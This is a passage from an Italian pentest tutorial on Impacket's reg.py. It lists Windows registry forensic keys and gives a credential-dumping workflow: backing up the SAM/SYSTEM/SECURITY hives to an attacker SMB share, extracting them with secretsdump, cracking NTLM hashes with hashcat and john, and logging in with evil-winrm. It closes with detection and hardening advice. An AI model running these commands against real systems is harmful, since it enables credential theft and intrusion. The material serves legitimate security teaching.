            if (($code -ge 65 -and $code -le 77) -or ($code -ge 97 -and $code -le 109)) { $code += 13 } else { $code -= 13 }
            [char]$code
        } else { $_ }
    } -join ''
}
Decode-ROT13 "abgrcnq.rkr"   # -> notepad.exe

Limite: traccia solo applicazioni GUI lanciate da Explorer. Nulla da riga di comando, script o task schedulati.

11.3 ShimCache (AppCompatCache) #

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

Registra metadata (percorso, dimensione, data modifica) di qualsiasi eseguibile, anche solo visualizzato in Explorer senza esecuzione. Scritto al riavvio/spegnimento — istantanea dell’ultimo stato pre-shutdown. Può conservare traccia di un tool anche dopo la sua cancellazione dal disco.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" -s

Parsing con AppCompatCacheParser:

AppCompatCacheParser.exe -f SYSTEM --csv output_dir

11.4 Amcache — l’artefatto più ricco #

C:\Windows\AppCompat\Programs\Amcache.hve

Hive separata (non chiave registro classica). Contiene percorso, publisher, timestamp prima esecuzione, e hash SHA-1 — verificabile su VirusTotal. Più affidabile di ShimCache perché registra il primo avvio in tempo reale.

Conviene recuperare il file via SMB (smbclient.py) piuttosto che save di reg.py, pensato per chiavi nell’albero standard.

Parsing con AmcacheParser:

AmcacheParser.exe -f Amcache.hve --csv output_dir

11.5 BAM / DAM #

HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\<SID>
HKLM\SYSTEM\CurrentControlSet\Services\dam\UserSettings\<SID>

Tracciano eseguibili girati di recente, per SID utente. Si azzerano al riavvio o dopo ~7 giorni — utile solo per attività molto recente, complementare a ShimCache/Amcache.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\S-1-5-21-XXXX" -s

11.6 RecentDocs, TypedPaths, TypedURLs, MRU #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedURLs

RecentDocs = evidenza di accesso, non esecuzione. TypedPaths = percorsi digitati in Explorer. TypedURLs = stesso per IE/Edge legacy.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

11.7 MountPoints2 — USB e share di rete montate #

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Ogni volume montato dall’utente corrente: USB (GUID/serial), dischi esterni, share mappate. Combinato con HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR (enumerazione generale) e HKLM\SYSTEM\MountedDevices (a livello macchina, vista in persistenza), permette di correlare utente-dispositivo-tempo.

11.8 Wi-Fi profiles — reti viste dalla macchina #

HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces\<GUID interfaccia>\Profiles

Elenca SSID a cui la macchina si è connessa nel tempo, con dati come timestamp e tipo di autenticazione. La password della rete non sta qui in chiaro: è cifrata con DPAPI e vive in un file XML sotto C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\<GUID>\. Il registro ti dice “quali reti”, non “con quale password” — utile comunque per capire dove è stata la macchina (ufficio, casa, hotel) e se si è mai collegata a reti pubbliche non sicure.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces" -s

11.9 RDP Servers — a quali macchine si è connesso l’utente #

HKCU\Software\Microsoft\Terminal Server Client\Servers

Ogni sottochiave è un hostname o IP a cui l’utente si è connesso con il client RDP (mstsc.exe). In un pentest questo ti dice quali altre macchine quell’utente amministra o usa regolarmente — spesso il primo indizio per capire dove muoversi lateralmente dopo aver compromesso un account con privilegi.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Terminal Server Client\Servers" -s

Se l’utente ha abilitato “ricorda le mie credenziali” per una di quelle connessioni, la password è cifrata via DPAPI e vive nel Credential Manager (non nel registro), ma la presenza della entry qui ti conferma che quella funzione è stata usata almeno una volta per quell’host.

11.10 Office — file recenti (File MRU) #

HKCU\Software\Microsoft\Office\<versione>\<applicazione>\File MRU

Esempio concreto per Excel su Office 2016+:

HKCU\Software\Microsoft\Office\16.0\Excel\File MRU

Elenca gli ultimi file aperti in ogni applicazione Office, con percorso completo — inclusi file su share di rete o percorsi che potrebbero non esistere più. Utile perché, in molte aziende, fogli Excel o documenti Word contengono ancora credenziali o dati sensibili salvati “temporaneamente”: sapere quali documenti un utente ha aperto di recente indica dove cercare quel tipo di informazione.

reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Office\16.0\Excel\File MRU" -s

12. Workflow completo: da reg.py a secretsdump, e cracking #

12.1 Dump credenziali locali #

# 1. Server SMB locale per ricevere le hive
smbserver.py -smb2support share ./loot

# 2. Backup delle hive dal target
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'

# 3. Estrazione offline, mai in chiaro sul target
secretsdump.py -sam ./loot/SAM.save -system ./loot/SYSTEM.save -security ./loot/SECURITY.save LOCAL

Più silenzioso rispetto a lanciare secretsdump direttamente da remoto in modalità completa.

12.2 Scenario Backup Operators (senza essere admin) #

Se il tuo utente è membro di Backup Operators ma non admin locale, hai comunque SeBackupPrivilege, che permette di leggere SAM/SYSTEM/SECURITY ignorando le ACL standard.

reg.py peter:'Password123'@10.10.10.5 backup -o '\\10.10.14.5\share'

Dalle hive estratte puoi risalire all’hash macchina o utenti locali, e verificare l’hash dell’account macchina con wmiexec per movimento laterale, se il target è un domain controller.

12.3 Dagli hash alla password: cracking #

Output tipico di secretsdump:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Formato utente:RID:hash-LM:hash-NTLM:::. Isola l’hash NTLM:

echo -n "8846f7eaee8fb117ad06bdd830b7586c" > hash.txt

Hashcat (modalità 1000 = NTLM):

hashcat -m 1000 hash.txt wordlist.txt

John the Ripper:

john --format=nt --wordlist=wordlist.txt hash.txt

Se l’hash LM non è aad3b435b51404eeaad3b435b51404ee (costante per “nessuna password LM”), il vecchio formato LM è ancora attivo — craccalo per primo, riduce lo spazio di ricerca anche per l’NTLM corrispondente.

Con la password ottenuta, verifica su altri servizi:

evil-winrm -i 10.10.10.5 -u Administrator -p 'PasswordTrovata'

13. Detection, log e hardening #

13.1 Rilevamento e log generati #

reg.py, come tutti gli script Impacket, lascia tracce negli Event Log:

• Event ID 5145 — accesso alla named pipe \winreg
• Event ID 4656/4658 — apertura/chiusura handle su chiave di registro
• Avvio/arresto del servizio RemoteRegistry se non era attivo (Event ID 7036)

Un’attività di query/save massiva sulla pipe \winreg da un host che normalmente non fa amministrazione remota, seguita da traffico SMB verso l’esterno, è un forte indicatore di dump di credenziali in corso.

13.2 Hardening difensivo #

• Disabilita il servizio Remote Registry sugli host che non ne hanno bisogno operativo
• Restringi l’accesso a \winreg tramite HKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths
• Imposta LocalAccountTokenFilterPolicy a 0 (default) per evitare lateral movement con admin locali condivisi
• Elimina AlwaysInstallElevated da HKLM e HKCU
• Imposta UseLogonCredential a 0 in WDigest (default moderno, verifica su host legacy)
• Abilita RunAsPPL per proteggere LSASS, e Credential Guard dove l’hardware lo supporta
• Monitora Event ID 5145 su \winreg con alerting SIEM per accessi anomali
• Applica privilegio minimo su Backup Operators — equivalente a un percorso verso Domain Admin se combinato con SeBackupPrivilege
• Audita periodicamente le ACL sotto HKLM\SYSTEM\CurrentControlSet\Services con AccessChk o PowerUp
• Non installare servizi custom con permessi ereditati troppo larghi
• Tratta ShellBags come dato sensibile in un IR: mostrano quali share/dischi l’attaccante ha esplorato

14. Checklist operativa #

1. Verifica accesso SMB/445 e credenziali disponibili (password, hash, ticket)
2. Enumera prima l’identità della macchina (OS, computername, rete)
3. Query preliminare su chiavi di configurazione (WDigest, RunAsPPL, AlwaysInstallElevated, LocalAccountTokenFilterPolicy, RestrictedAdmin)
4. Controlla le ACL sulle chiavi Services con Get-Acl se cerchi privesc locale
5. Verifica IFEO e COM registration sospette se il target ha già mostrato segni di compromissione
6. Se serve dump credenziali: avvia smbserver.py locale, poi reg.py backup
7. Analizza le hive offline con secretsdump — includi LSA Secrets e Cached Domain Credentials, non solo SAM
8. Se rilevante, estrai ShellBags, UserAssist, ShimCache/Amcache per ricostruire attività storica
9. Documenta ogni chiave modificata con add/delete per il ripristino post-test
10. Segnala nel report le chiavi di hardening mancanti, non solo le credenziali estratte

FAQ #

reg.py funziona senza privilegi di amministratore? Per query su chiavi non protette sì, ma per SAM/SECURITY servono privilegi elevati o SeBackupPrivilege.

È rilevabile da un EDR? Il traffico SMB/RPC verso \winreg è visibile a livello di rete e di Event Log; un EDR moderno con regole su accesso a hive sensibili lo segnala.

Che differenza c’è tra save e backup? save esporta una singola chiave a scelta, backup è dedicato a SAM+SYSTEM+SECURITY in un’unica chiamata.

Serve installare Impacket sul target? No, reg.py gira dalla macchina attaccante e comunica via rete con il servizio Remote Registry nativo di Windows.

Che differenza c’è tra HKCU e HKU? HKCU è l’HKCU dell’utente con cui ti sei autenticato; HKU contiene i profili di tutti gli utenti loggati, indicizzati per SID.

Che differenza c’è tra DCC2 e un hash NTLM? L’hash NTLM può essere usato per pass-the-hash; DCC2 no — serve solo a verificare offline una password digitata, va craccato.

ShimCache prova che un file è stato eseguito? Non da solo: può registrare un file anche solo visto in Explorer. Va incrociato con Amcache, Prefetch o Event Log.

Quando NON conviene usare reg.py? Se hai già una shell interattiva SYSTEM, reg.exe nativo o PowerShell diretto sono più veloci e generano meno traffico osservabile; reg.py ha senso operando da remoto senza shell.

Le weak registry permissions sono comuni in ambienti reali? Meno che in passato, ma frequenti su servizi custom di terze parti (software gestionali, agent di monitoraggio) senza ACL esplicite in fase di setup.

Cheat Sheet — tabella riassuntiva delle chiavi trattate #

Conclusione #

REG.PY è uno strumento compatto ma centrale in ogni fase avanzata di un penetration test su ambienti Windows e Active Directory: dal recon di configurazioni deboli, al dump di credenziali, fino alla verifica di persistenza. Conoscere a memoria le chiavi di registro più importanti vale tanto quanto conoscere il tool stesso: è questa conoscenza che può trasformare un semplice accesso SMB in una completa valutazione della sicurezza del sistema durante un’attività autorizzata.

Il Windows Registry rappresenta uno dei componenti più importanti del sistema operativo Windows e comprenderne il funzionamento è fondamentale sia per chi si occupa di Red Team, sia per professionisti Blue Team, analisti DFIR e amministratori di sistema. Attraverso REG.PY abbiamo esplorato tecniche di enumerazione, amministrazione remota, persistenza, analisi forense e configurazione del registro, evidenziando non solo le potenzialità dello strumento ma anche le relative contromisure difensive e le metodologie di rilevamento.

Per approfondire l’intera toolchain dedicata ai test di sicurezza su Windows e Active Directory, consulta anche gli articoli su SecretsDump, Rubeus e Credential Dumping.

Disclaimer: Tutte le informazioni, gli esempi e le tecniche illustrate in questo articolo sono pubblicati esclusivamente a scopo educativo, didattico e di ricerca sulla sicurezza informatica. Qualsiasi attività deve essere svolta solo su sistemi di propria proprietà o per i quali si dispone di un’esplicita autorizzazione. L’utilizzo improprio delle conoscenze descritte può violare normative vigenti e causare danni a persone o organizzazioni. Hackita non incoraggia né supporta attività non autorizzate o illecite e declina ogni responsabilità per eventuali utilizzi impropri dei contenuti pubblicati.

Risorse esterne #

• Impacket — reg.py source, GitHub Fortra
• Exploit Notes — Registry Keys

Per supporto su penetration test e formazione 1:1: hackita.it/supporto — hackita.it/servizi.